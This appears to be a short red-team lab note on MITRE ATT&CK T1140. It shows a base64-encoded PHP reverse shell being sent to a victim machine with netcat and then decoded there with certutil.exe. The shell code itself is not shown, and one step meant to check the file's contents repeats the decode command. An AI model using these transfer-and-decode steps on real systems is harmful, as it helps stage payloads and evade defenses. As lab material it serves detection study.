t1140-encode-decode-data-with-certutil.md

description
Defense Evasion

Encode/Decode Data with Certutil

In this lab I will transfer a base64 encoded php reverse shell from my attacking machine to the victim machine via netcat and decode the data on the victim system using a native windows binary certutil.

Execution

Preview of the content to be encoded on the attacking system:

Sending the above shell as a base64 encoded string to the victim system (victim is listening and waiting for the file with nc -l 4444 > enc):

{% code title="attacker@local" %}

base64 < shell.php.gif | nc 10.0.0.2 4444

{% endcode %}

Once the file is received on the victim, let's check its contents:

{% code title="attacker@victim" %}

certutil.exe -decode .\enc dec

{% endcode %}

Let's decode the data:

{% code title="attacker@victim" %}

certutil.exe -decode .\enc dec

{% endcode %}

Let's have a look at the contents of the file dec which now contains the base64 decoded shell:

References

{% embed url="https://attack.mitre.org/wiki/Technique/T1140" %}